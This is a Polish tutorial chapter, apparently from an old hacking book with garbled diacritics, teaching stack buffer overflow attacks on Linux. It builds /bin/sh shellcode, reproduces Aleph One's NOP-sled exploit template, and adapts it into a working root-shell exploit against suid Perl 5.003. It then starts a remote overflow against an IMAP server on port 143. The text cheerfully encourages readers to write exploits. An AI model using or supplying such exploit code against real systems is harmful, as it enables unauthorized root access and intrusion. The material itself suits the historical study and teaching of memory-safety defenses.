Ataki typu Buffer Overflow

Czyli popularnie mówišc exploity, (albo sploity w zależnoœci od wymowy:-). Ten typ włamań zrobił oszołamiajšcš karierę w sieci, na co złożyło się kilka przyczyn, między innymi:

- Wiele poleceń systemów Unixowych było pisanych przez poczštkujšcych programistów i nawet jeœli potem powstawały nowe ich wersje, to powielały błędy poprzedników

- Odnalezienie przez autora we własnym kodzie Ÿródłowym miejsc, które mogš być zaatakowane nie jest wcale takie proste. Wprawdzie wiadomo, że pewnych funkcji, takich jak strcpy(), gets(), czy strcat() należy po prostu starać się nie używać bez uprzedniego sprawdzenia długoœci argumentów, jednak czasami kod wyglšda całkiem w porzšdku, a i tak się wysypuje. Poza tym niekiedy zrezygnowanie z tych funkcji wymagałoby całkowitego przeorganizowania treœci programu

- Wbrew pozorom, mimo, że pisanie exploitów wymaga podstawowej znajomoœci asemblera, algorytm ich tworzenia nie jest wcale taki skomplikowany i częœć z nich można pisać jakby “od ręki”

- Jest to cały czas sztuka dopiero się rozwijajšca i stwarzajšca dużo możliwoœci “wykazania się”

Jak to zwykle bywa pierwszy krok w atakach tego typu jest całkiem niewinny i nie zapowiada póŸniejszych kłopotów. Potrzebne sš do niego tylko dwa warunki. Najczęœciej należy “tylko” znaleŸć program który

  1. ma ustawiony bit SUID, a jego właœcicielem jest root lub inny uprzywilejowany użytkownik.
  2. program nie sprawdza maksymalnej długoœci parametrów do niego przekazywanych, więc jeœli których z parametrów jest za długi, to kończy się to komunikatem “Segmentation fault”

Sprawdzenie tego drugiego warunku ręcznie może być trochę kłopotliwe, gdyż program może się wysypywać dopiero przy parametrach długoœci kilku tysięcy bajtów A wpisanie takiego łańcucha z klawiatura doprowadziłoby do szału nawet najcierpliwszš osobę. Można zamiast tego napisać prosty programik w języku C, robišcy to automatycznie

W naszym przykładzie programem narażonym na atak jest Suid Perl 5.003 (znajduje się on między innymi w standardowej dystrybucji Czerwonego Kapturka 4.x)

check.c nie robi nic innego poza wywołaniem SUID PERL-a z parametrem o długoœci 3000 bajtów. Ten zaœ grzecznie odmawia współpracy, wyœwietlajšc znany już komunikat o błędnym odczycie/ zapisie z pamięci

Jak się za chwilę przekonasz te dwa poczštkowe kroki sš najistotniejsze przy tworzeniu exploita, bo sš jedynymi niezdeterminowanymi elementami, a znalezienie odpowiedniego kandydata do wykorzystania zależy tylko i wyłšcznie od Twojej inwencji i szczęœcia. Cała reszta procesu to już œciœle okreœlony algorytm, co najwyżej z pewnymi wariancjami (?)

Jednak wszystko po kolei. Zastanówmy się, co tak naprawdę stało się przed chwilš.

Zacznijmy od organizacji pamięci przydzielanej procesowi w trakcie jego pracy. Składa się on, z grubsza rzecz bioršc, z trzech głównych segmentów

STOS

DANE

TEKST (Kod programu + stałe)

 

Szczególnie interesujšcy jest dla nas fragmencik najwyżej położony, tzn. stos. A dokładniej jego struktura w momencie wykonywania funkcji lokalnych.

Z grubsza wyglšda ona w ten sposób:

.

.

.

Parametry Funkcji

Adres powrotu z funkcji

Poczštkowa wartoœć rejestru BP

Zmienne lokalne

.

.

.

Jeœli więc w miejsce któregoœ z parametrów lokalnych zostanie przekopiowana, przy pomocy np. funkcji strcpy, zmienna zajmujšcš zbyt dużo miejsca, to może się zdarzyć tak jak w programie przyklad1.c, że nadpisze ona również na stosie adres powrotny funkcji. W ten sposób zakłócony zostaje prawidłowy przebieg programu, co najczęœciej kończy się wystšpieniem jakiejœ sytuacji błędnej.

Kluczowym elementem w powyższej strukturze jest funkcja strcpy, nie sprawdzajšca długoœci kopiowanego łańcucha. Dzięki temu struktura stosu po jej wykonaniu ulega całkowitemu zamazaniu

Stos funkcji main() przed strcpy

.

.

.

Parametry Funkcji

Adres powrotu z funkcji

Poczštkowa wartoœć rejestru BP

parametr[] - zm. Niezainicjalizowana

.

.

.

Stos funkcji main() po strcpy

.

.

.

sss...a

ssss

ssss

parametr[] - Ala ma kota i pss...

.

.

.

SprawdŸmy jeszcze jaki œlad zostawił program przyklad1 po niespodziewanym zakończeniu pracy. Okazuje się, że próbował on wykonać jakšœ instrukcję spod niedozwolonego dla niego adresu 0x73737373. Wystarczy tylko przypomnieć sobie, że literka “s” ma w kodzie ASCII numer 0x73, żeby stwierdzić, że faktycznie stos funkcji main() został nadpisany

i instrukcja return, pobierajšc ze stosu adres powrotny , dostała właœnie cztery razy bajt 0x73

Z tym, że, wysypać program to żadna sztuka nawet dla poczštkujšcego programisty. O wiele trudniej jest tak zmienić stos, aby mogło to zostać wykorzystane w jakimœ “pożytecznym” działaniu

To właœnie robi poniższy fragment kodu, który mógłby chyba spokojnie ubiegać się o wpis do księgi Guinessa w pozycji najdziwniejszego programu liczšcego silnię.

[root@iza exploit]# cat przyklad2.c

void Petla()

{

int *ret;

ret=((int *)&ret)+2;

(*ret)-=24;

return;

}

void main(int argc,char* argv[])

{

unsigned long int liczba;

unsigned long int silnia;

if (argc<=1) printf("Podaj liczbe, z ktorej silnie liczysz\n"); else{

liczba=atoi(argv[1]);

silnia=1;

printf("Silnia z %d ",liczba);

if (liczba!=0){

silnia=liczba--*silnia;

Petla();

}

printf("wynosi %d\n",silnia);

}

return;

}

[root@iza exploit]# ./przyklad2 8

Silnia z 8 wynosi 40320

Pewnie domyœlasz się, że funkcja Pętla() ma za zadanie tak sterować pracš programu, aby instrukcje mnożenia była wykonywana aż do momentu kiedy, zmienna liczba będzie równa 0.

W momencie wywoływania funkcji stos lokalny zawiera miedzy innymi takie pozycje:

 

...

Adres powrotu z funkcji

CS:IP

zmienna ret

2 bajty

...

 

więc po wykonaniu

ret=((int *)&ret)+2;

...

Adres powrotu z funkcji

CS:IP

zmienna ret

2 bajty

...

zmienna ret wskazuje dokładnie na adres powrotu z funkcji, czyli, co widać na poniższym, wydruku dokładnie na main+96

 

[root@iza exploit]# gcc -g -ggdb -o przyklad2 przyklad2.c

[root@iza exploit]# gdb przyklad2

GDB is free software and you are welcome to distribute copies of it

under certain conditions; type "show copying" to see the conditions.

There is absolutely no warranty for GDB; type "show warranty" for details.

GDB 4.16 (i586-unknown-linux), Copyright 1996 Free Software Foundation, Inc...

(gdb) disassemble main

Dump of assembler code for function main:

0x8048158 <main>: pushl %ebp

0x8048159 <main+1>: movl %esp,%ebp

0x804815b <main+3>: subl $0x8,%esp

0x804815e <main+6>: cmpl $0x1,0x8(%ebp)

0x8048162 <main+10>: jg 0x8048174 <main+28>

0x8048164 <main+12>: pushl $0x80537d8

0x8048169 <main+17>: call 0x80481d0 <_IO_printf>

0x804816e <main+22>: addl $0x4,%esp

0x8048171 <main+25>: jmp 0x80481c9 <main+113>

0x8048173 <main+27>: nop

0x8048174 <main+28>: movl 0xc(%ebp),%eax

0x8048177 <main+31>: addl $0x4,%eax

0x804817a <main+34>: movl (%eax),%edx

0x804817c <main+36>: pushl %edx

0x804817d <main+37>: call 0x804d1d8 <atoi>

0x8048182 <main+42>: addl $0x4,%esp

0x8048185 <main+45>: movl %eax,0xfffffffc(%ebp)

0x8048188 <main+48>: movl $0x1,0xfffffff8(%ebp)

0x804818f <main+55>: movl 0xfffffffc(%ebp),%eax

0x8048192 <main+58>: pushl %eax

0x8048193 <main+59>: pushl $0x80537ff

0x8048198 <main+64>: call 0x80481d0 <_IO_printf>

0x804819d <main+69>: addl $0x8,%esp

0x80481a0 <main+72>: cmpl $0x0,0xfffffffc(%ebp)

0x80481a4 <main+76>: je 0x80481b8 <main+96>

0x80481a6 <main+78>: movl 0xfffffff8(%ebp),%ecx

0x80481a9 <main+81>: imull 0xfffffffc(%ebp),%ecx

0x80481ad <main+85>: movl %ecx,0xfffffff8(%ebp)

0x80481b0 <main+88>: decl 0xfffffffc(%ebp)

0x80481b3 <main+91>: call 0x8048134 <Petla>

0x80481b8 <main+96>: movl 0xfffffff8(%ebp),%eax

0x80481bb <main+99>: pushl %eax

0x80481bc <main+100>:pushl $0x805380c

0x80481c1 <main+105>:call 0x80481d0 <_IO_printf>

0x80481c6 <main+110>:addl $0x8,%esp

0x80481c9 <main+113>:jmp 0x80481cc <main+116>

0x80481cb <main+115>:nop

0x80481cc <main+116>:leave

0x80481cd <main+117>:ret

End of assembler dump.

(gdb) disassemble Petla

Dump of assembler code for function Petla:

0x8048134 <Petla>: pushl %ebp

0x8048135 <Petla+1>: movl %esp,%ebp

0x8048137 <Petla+3>: subl $0x4,%esp

0x804813a <Petla+6>: leal 0xfffffffc(%ebp),%eax

0x804813d <Petla+9>: leal 0x8(%eax),%ecx

0x8048140 <Petla+12>:movl %ecx,0xfffffffc(%ebp)

0x8048143 <Petla+15>:movl 0xfffffffc(%ebp),%eax

0x8048146 <Petla+18>:movl 0xfffffffc(%ebp),%edx

0x8048149 <Petla+21>:movl (%edx),%ecx

0x804814b <Petla+23>:addl $0xffffffe8,%ecx

0x804814e <Petla+26>:movl %ecx,(%eax)

0x8048150 <Petla+28>:jmp 0x8048154 <Petla+32>

0x8048152 <Petla+30>:leal (%esi),%esi

0x8048154 <Petla+32>:leave

0x8048155 <Petla+33>:ret

0x8048156 <Petla+34>:leal (%esi),%esi

End of assembler dump.

(gdb) q

Z kolei domyœlamy się, że instrukcja

<main+72>: cmpl $0x0,0xfffffffc(%ebp)

odpowiada fragmentowi

if (liczba!=0)

Więc szybko obliczmy, że zmniejszajšc adres powrotny z funkcji o 96-72=24 (instrukcjš (*ret)-=24; )spowodujemy, że po powrocie z funkcji Petla() sterowanie zamiast do następnej instrukcji zostanie oddane z powrotem w miejsce odpowiadajšce faktycznemu poczštkowi pętli liczšcej silnie

I w ten karkołomny sposób wykonuje dokładnie to co powinien ( z ograniczeniami wynikłymi z tego że do reprezentacji silni używamy w nim liczby typu long int - spróbuj to zmodyfikować, pamiętajšc, że zmienia się przy tym struktura całego programu). Co to wszystko ma jednak wspólnego z bezpieczeństwem ?

Otóż trochę jednak ma . Pamiętajmy o tym, że cały czas mówimy programach typu SUID. Skoro potrafimy zmusić atakowany program, by wykonywał instrukcje spod wskazanego adresu, to dlaczego nie spróbować skonstruować zawartoœci bufora, aby sterowanie wracało w miejsce przez nas wybrane, tak by możliwe było dalsze wykonywanie wczeœniej przez nas przygotowanych instrukcji ?

Ogólny schemat naszego postępowania powinien wyglšdać następujšco:

Pierwsza częœć wišże się z koniecznoœciš dokładnego “trafienia” we fragment stosu zawierajšcy adres powrotu z procedury, można spróbować wyliczać jak duży ma być kopiowany łańcuch, analizujšc kod Ÿródłowy programu, istniejš jednak bardziej efektywne sposoby uwalniajšce nas od takiej arytmetyki, o czym przekonasz się za chwilę Natomiast dwa pozostałe punkty wišżš się z napisaniem krótkiej procedury. Niestety, ze zrozumiałych względów (dla atakowanego programu ten fragment wyglšda tylko jako łańcuch tekstowy), musi być ona w postaci “czystych” rozkazów komputera czyli cišgu liczb szesnastkowych.

Spróbujmy napisać taki fragment w języku najbardziej zbliżonym do wewnętrznego języka maszynowego, czyli w asemblerze.

Korzystanie z funkcji linuxa z poziomu assemblera odbywa się poprzez przerwanie 0x80. Potrzebuje ono jako parametru przekazywanego w rejestrze AX numeru uruchamianej funkcji. Pozostałe parametry zależš od konkretnego wywołania. Numery kolejnych funkcji można znaleŸć w pliku /usr/include/linux/unistd.h lub w zależnoœci od implementacji linuxa w /usr/include/asm/unistd.h

[root@iza linux]# cat /usr/include/asm/unistd.h |more

#ifndef _ASM_I386_UNISTD_H_

#define _ASM_I386_UNISTD_H_

/*

* This file contains the system call numbers.

*/

#define __NR_setup 0 /* used only by init, to get system going */

#define __NR_exit 1

#define __NR_fork 2

#define __NR_read 3

#define __NR_write 4

#define __NR_open 5

#define __NR_close 6

#define __NR_waitpid 7

#define __NR_creat 8

#define __NR_link 9

#define __NR_unlink 10

#define __NR_execve 11

#define __NR_chdir 12

#define __NR_time 13

#define __NR_mknod 14

.

.

.

Więcej na temat przerwania 0x80, parametrów jego wywołania i struktury Linuxa “od œrodka” znajdziesz w Kernel’s Hacker Guide w katalogu \READ\LINUX\LDP na dysku dołšczonym do ksišżki. W każdym razie jak pewnie zauważyłeœ funkcji execve odpowiada numer 11 (0xb) Potrzebuje ona ponadto podania w rejestrze BX adresu łańcucha ”/bin/sh” w CX adresu tablicy z nazwš uruchamianego programu i parametrami, a w DX odwołania do wartoœci NULL .Natomiast funkcja exit kończšca pracę procesu wymaga w rejestrze EAX liczby 1, a rejestrze EBX kodu powrotu z procesu, czyli najlepiej wartoœci 0

Z grubsza rzecz bioršc, kod funkcji wywołujšcej standardowy shell może wyglšdać następujšco:

[root@iza exploit]# cat shell.c

// program wywołuje standardowy shell /bin/sh i po czym kończy pracę

void main()

{

__asm__("

jmp 0x2

jmp 0x12

call -0x7

.string \"/bin/sh\"

.byte 1,1,1,1,1

popl %esi

movl %esi,0x8(%esi)

xorl %eax,%eax

movb %eax,0x7(%esi)

movl %eax,0xc(%esi)

movb $0xb,%al

movl %esi,%ebx

leal 0x8(%esi),%ecx

leal 0xc(%esi),%edx

int $0x80

xorl %eax, %eax

inc %eax

xorl %ebx, %ebx

int $0x80

");

}

Powinienem się jeszcze wytłumaczyć z instrukcji jmp, call. i popl Cały ten cyrk jest wstawiony tylko po to, aby w rejestrze ESI znalazł się offset łańcucha ”/bin/sh/”. Niestety nie ma chyba prostszej metody, by to osišgnšć :-( Zwróć też uwagę, że kolejne instrukcje sš specjalnie tak dobrane, aby w ich kodzie nie występowała wartoœć 0

W nadpisywanym buforze nie będziemy mogli używać mnemoników asemblera. Spróbujmy przetłumaczyć je na kody szesnastkowe używajšc do tego celu debuggera gdb:

root@iza exploit]# gcc -g -ggdb -o shell shell.c

[root@iza exploit]# gdb shell

GDB is free software and you are welcome to distribute copies of it

under certain conditions; type "show copying" to see the conditions.

There is absolutely no warranty for GDB; type "show warranty" for details.

GDB 4.16 (i586-unknown-linux), Copyright 1996 Free Software Foundation, Inc...

(gdb) disassemble main

Dump of assembler code for function main:

0x8048134 <main>: pushl %ebp

0x8048135 <main+1>: movl %esp,%ebp

0x8048137 <main+3>: call 0x8048149 <main+21>

0x804813c <main+8>: das

0x804813d <main+9>: boundl 0x6e(%ecx),%ebp

0x8048140 <main+12>: das

.

.

.

(gdb) x/xb main+3

0x8048137 <main+3>: 0xeb

(gdb)

0x8048138 <main+4>: 0x02

(gdb)

0x8048139 <main+5>: 0xeb

(gdb)

0x804813a <main+6>: 0x12

(gdb)

0x804813b <main+7>: 0xe8

(gdb)

0x804813c <main+8>: 0xf9

(gdb)

0x804813d <main+9>: 0xff

.

.

.

 

lub po prostu podglšdajšc program pod jakimkolwiek edytorem hexadecymalnym

Aby przetestować, czy nigdzie nie zrobiliœmy pomyłki przepisujšc kody piszemy jeszcze krótki program pomocniczy:

[root@iza exploit]# cat shellcode.c

char shellcode[] =

"\xeb\x02\xeb\x12\xe8\xf9\xff\xff\xff/bin/sh------"

"\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"

"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80";

void main()

{

int *ret;

ret = (int *)&ret + 2;

(*ret) = (int)shellcode;

}

i stwierdzamy, że faktycznie wywołuje on /bin/sh po czym kończy pracę.

[root@iza exploit]# ./shellcode

bash# exit

exit

[root@iza exploit]#

W tym momencie wracamy do pytania, jak umieœcić zawartoœć tablicy shellcode w buforze, aby adres powrotu z funkcji lokalnej wskazywał dokładnie na poczštek kodu. uruchamiajšcego powłokę ??.

Oczywiœcie najbardziej elegancko byłoby dokładnie przeanalizować kod Ÿródłowy programu, w którym występuje “buffer overflow” i z liczydłem w ręku policzyć odległoœci pomiędzy poszczególnymi jego zmiennymi, mniej więcej tak jak w przykładzie z silnš. Nie zawsze jednak Ÿródła programu sš dostępne, poza tym czasami kod Ÿródłowy jest mocno zagmatwany i po prostu nie warto byłoby wkładać tyle pracy. Spróbujmy przyjšć więc rozwišzanie przybliżone.

  1. przyjmujemy za niewiadome rozmiar bufora oraz odległoœć od bufora do poczštku stosu.
  2. całš przestrzeń zajmowanš przez bufor wypełniamy wskaŸnikami do jego poczštku. Przy dokładnym doborze parametrów jest nadzieja, że uda się nam w ten sposób nadpisać adres powrotny na stosie i po wykonaniu RET program zacznie wykonywanie “podrzuconego” kodu
  3. połowę bufora wypełniamy instrukcjami NOP (0x90) w ten sposób nawet jeœli nie uda się dokładnie trafić w jego poczštek, to nie będzie żadnego nieszczęœcia, a spokojnie wykona się kilka instrukcji NOP nie majšcych żadnego wpływu na dalszy kod
  4. No i na końcu umieszczamy właœciwy kod wywołujšcy “root shell-a” w buforze zaczynajšc od jego połowy w górę (bufora, nie kodu :-). ????

Przy prawidłowym doborze parametrów działanie tego mechanizmu powinno wyglšdać następujšco:

Stos na poczštku funkcji

.

.

.

Parametry Funkcji

Adres powrotu z funkcji

Poczštkowa wartoœć rejestru BP

.

.

bufor - zm. Niezainicjalizowana

.

.

.

 

Stos po nadpisaniu bufora

.

.

.

Adres powrotu z funkcji -poczštek bufora

adres poczštku bufora

adres poczštku bufora ...

bufor - właœciwy kod uruchamiajšcy shella

NOP NOP ...

.

.

.

 

Po wykonanie instrukcji ret

.

.

.

Adres powrotu z funkcji -poczštek bufora

adres poczštku bufora

adres poczštku bufora ...

właœciwy kod uruchamiajšcy shella

CS:IP - NOP NOP ...

Wykonujš się instrukcje NOP, a po

nich instrukcje "podrzucone" do bufora

.

.

.

 

Składajšc to wszystko razem otrzymujemy “wzorcowy exploit” :-). Kod - Aleph One - Komentarze własne.

// © 1997 AlephOne

#include <stdlib.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

#define NOP 0x90

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

Ten kod to jest szesnastkowa reprezentacja asemblerowego kodu odpowiadajšcego wywołaniu shella bin/sh funkcja execve oraz wyjœciu z programu funkcja exit . Rózni się w niewielkich szczegółach od tej przygotowanej przez nas. Jej kod Ÿródłowy możesz znaleŸć w dodatku C

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

W ten sposób wiemy, gdzie zaczyna się stos. Przyjmujemy, że atakowany program nie będzie zmieniał segmentu stosu, bo inaczej ta funkcja wprowadzałaby nas tylko w błšd

void main(int argc, char *argv[]) {

char *buff, *ptr;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i;

if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset = atoi(argv[2]);

Jeœli do programu nie zostanš podane żadne parametry, to próbowane sš domyslne wartoœci wielkoœci bufora i odległoœci od poczštku bufora do poczštku stosu. Zazwyczaj jednak zanim nastšpi “buffer overflow” trzeba będzie kilka razy wywołać poniższy program z różnymi parametrami

if (!(buff = malloc(bsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

addr = get_sp() - offset;

printf("Using address: 0x%x\n", addr);

ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

Wypełniamy całš przestrzeń bufora adresem powrotnym wskazujšcym na poczštek bufora. Jest szansa , że jednš z nadpisanych pozycji będzie fragment stosu zawierajšcy adres powrotu z funkcji.

for (i = 0; i < bsize/2; i++)

buff[i] = NOP;

Do połowy bufora wsadzamy instrukcję NOP, zwiększa to znacznie prawdopodobieństwo trafienia w instrukcje przez nas przygotowane,

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

Powyżej połowy bufora umieszczamy właœciwy kod wywołujšcy /bin/sh

memcpy(buff,"EGG=",4);

putenv(buff);

system("/bin/bash");

}

eksportujemy zmiennš systemowš EGG (to chyba od kukułczego jajka), by póŸniejsze wykorzystać ja poprzez odwołanie:

program_podatny_na_atak $EGG

Dalej zabawa jest prosta. Wystarczy kilka razy uruchomić powyższy szablon z różnymi parametrami i program, który testujemy

/* Parametr jest zbyt mały, stos nie został nadpisany */

/* Teraz jest zbyt duży, adres powrotu z procedury został nadpisany, ale chyba nie tš wartoœciš, którš powinien, kończy się to zazwyczaj właœnie napisem “Segmentation fault”

.

.

.

 

aby po jakimœ czasie dostać upragnionego root shell-a

Ostatni krok to przerobienie schematu buffer overflow na konkretne wymagania atakowanego programu (w naszym wypadku /usr/bin/sperl5.003).

// Standardowy atak typu Buffer Overflow wg. wzorca Aleph One

// Program uruchamia Suid Perla 5.003 (wersje wczesniejsze niz 8)

// i nadpisujac jego bufor daje uprawnienia root-a (root shell)

#include <stdlib.h>

#define DEFAULT_OFFSET 512

#define DEFAULT_BUFFER_SIZE 1500

#define NOP 0x90

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

void main(int argc, char *argv[]) {

char *buff, *ptr;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i;

//if (argc > 1) bsize = atoi(argv[1]);

//if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

addr = get_sp() - offset;

printf("Using address: 0x%x\n", addr);

ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)

buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

//memcpy(buff,"EGG=",4);

//putenv(buff);

execl("/usr/bin/sperl5.003","/usr/bin/",buff,NULL);

}

No i jeszcze przetestowanie nowego programu

Od tej pory możesz zaczšć błyszczeć wœród kolegów jako autor SPLOITÓW :-). Jak widać wcale nie było to takie bolesne, jak się wydawało na poczštku.

Oczywiœcie istnieje kilka modyfikacji tej metody i nie zawsze atak polega tylko na właœciwym “doborze cyferek”. Dwie najważniejsze odmiany tego algorytmu to nadpisywanie stosu poprzez zmienne systemowe oraz szczególnie groŸne “remote buffer overflows” czyli ataki zdalne. Ponadto niektórzy autorzy exploitów stosujš technikę polegajšcš na uruchamianiu funkcja w pętli fork kolejnych kopii procesu z różnymi w poszukiwaniu właœciwego adresu poczštku stosu i rozmiaru bufora (patrz np. plik \Exploit\linuxsu2.htm)

Ataki nadpisujšce zmienne systemowe

Niekiedy, mimo, że mamy atakowany program stwarza możliwoœć nadpisania bufora jego rozmiar jest tak mały, że po prostu nie zmieszczš się w nim bajty pozwalajšce na wywołanie shell-a. Można w takim przypadku próbować wpisać ten kod do jednej ze zmiennych systemowych.

Powinniœmy jeszcze raz dokładniej przyjrzeć się mapie pamięci procesu. Okazuje się że nad stosem jeszcze coœ się znajduje

.

.

.

zmienne systemowe

elementy argv[]

WskaŸniki do zmiennych systemowych

WskaŸniki do argv[]

argc

STOS

DANE

TEKST (Kod programu + stałe)

 

Jedynym miejscem, które oprócz stosu możemy w prosty sposób modyfikować jest obszar zajmowany przez zmienne systemowe. Zmodyfikowany scenariusz ataku wyglšda w tym wariancie następujšco:

R zmienne systemowe - tu znajdujš się instrukcje wywołujšce shell-a

elementy argv[]

WskaŸniki do zmiennych systemowych

WskaŸniki do argv[]

argc

...

Adres powrotu z funkcji - adres R

R R R R R

bufor - jeœli da się go przepełnić, to adres

powrotu z funkcji będzie wskazywał na R

 

 

Dokładny opis przykładowego exploita wykorzystujšcego odwołanie do zmiennych systemowych jest opisany w "Smashing the Stack ..." Aleph-a One (plik \Read\ROOTSHELL\smasxhsta.txt)

Ataki zdalne

Przy tworzeniu tzn. “Remote exploits” największy kłopot, poza oczywiœcie znalezieniem odpowiedniego kandydata stanowiš ustalenie w jakim segmencie pamięci znajduje się atakowany program. Te dwa czynniki to odgadniecie w jakim segmencie pamięci znajduje się stos atakowanego programu oraz przetransponowanie już przygotowanego bufora zdalnie do

PrzeœledŸmy więc kroki potrzebne do nadpisywania bufora na odległoœć :-), na przykładzie nieœmiertelnego IMAP-a

Przy okazji: Ten typ exploitów został już w sieci tak szeroko rozpowszechniony i stosowany (np. przez Gumisie), że raczej nie znajdziesz żadnych hostów które nie byłyby na niego odporne (tzn jeden w momecie pisania ksišżki jeszcze był, ale jego adres niech zostanie tajemicš: -) . Mogę więc z czystym sumieniem opisać ataki prze port 143 w celach czysto “edukacyjnych”

Zaczynamy jak zwykle od zauważenia, że jeœli podamy zbyt długi łańcuch przy próbie połšczenia się z portem 143 coœ “nie gra”

[hacker@bad hacker]$ telnet IZA.VCS.COM 143 Trying .............

Connected to IZA.VCS.COM.

Escape character is '^]'.

* OK IZA.VCS.COM IMAP2bis Service 7.8(99) at Wed, 4 Feb 1998 04:53:06 +0100 (MET)

1500 LOGIN aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaa

Connection closed by foreign host.

Faktycznie zazwyczaj połšczenie nie jest tak gwałtownie zrywane bez słowa wyjaœnienia

SprawdŸmy jeszcze jak zachowa się serwer przy podaniu krótszych parametrów logowania

[hacker@bad hacker]$ telnet IZA.VCS.COM 143 Trying .................

Connected to IZA.VCS.COM.

Escape character is '^]'.

* OK IZA.VCS.COM IMAP2bis Service 7.8(99) at Wed, 4 Feb 1998 04:55:22 +0100 (MET)

20 LOGIN xx yy

20 NO Bad LOGIN user name and/or password

Bingo ! cala reszta to już bułka z masłem.

Po pierwsze musimy ustalić przybliżony adres poczštku stosu (na poczštek wystarczy segment w którym się stos znajduje)

 

[hacker@bad hacker]$ su

Password:

[root@bad hacker]# ps -x

PID TTY STAT TIME COMMAND

1 ? S 0:02 init [3]

2 ? SW 0:00 (kflushd)

3 ? SW< 0:00 (kswapd)

4 ? SW 0:00 (nfsiod)

5 ? SW 0:00 (nfsiod)

6 ? SW 0:00 (nfsiod)

7 ? SW 0:00 (nfsiod)

21 ? S 0:00 /sbin/kerneld

107 ? S 0:00 syslogd

116 ? S 0:00 klogd

127 ? S 0:00 crond

150 ? S 0:00 inetd

161 ? S 0:00 lpd

.

.

.

[root@bad hacker]# cat /proc/150/maps

08048000-0804c000 r-xp 00000000 03:01 139275

0804c000-0804d000 rw-p 00003000 03:01 139275

0804d000-08052000 rwxp 00000000 00:00 0

40000000-40005000 rwxp 00000000 03:01 16386

40005000-40006000 rw-p 00004000 03:01 16386

40006000-40007000 rw-p 00000000 00:00 0

40009000-4009c000 r-xp 00000000 03:01 16389

4009c000-400a2000 rw-p 00092000 03:01 16389

400a2000-400d4000 rw-p 00000000 00:00 0

bfffe000-c0000000 rwxp fffff000 00:00 0 ß To Tutaj

[root@bad hacker]# exit

exit

Posiadajšc potrzebne informacje możemy wzišć się za tworzenie exploita. Możemy to zrobić na dwa sposoby

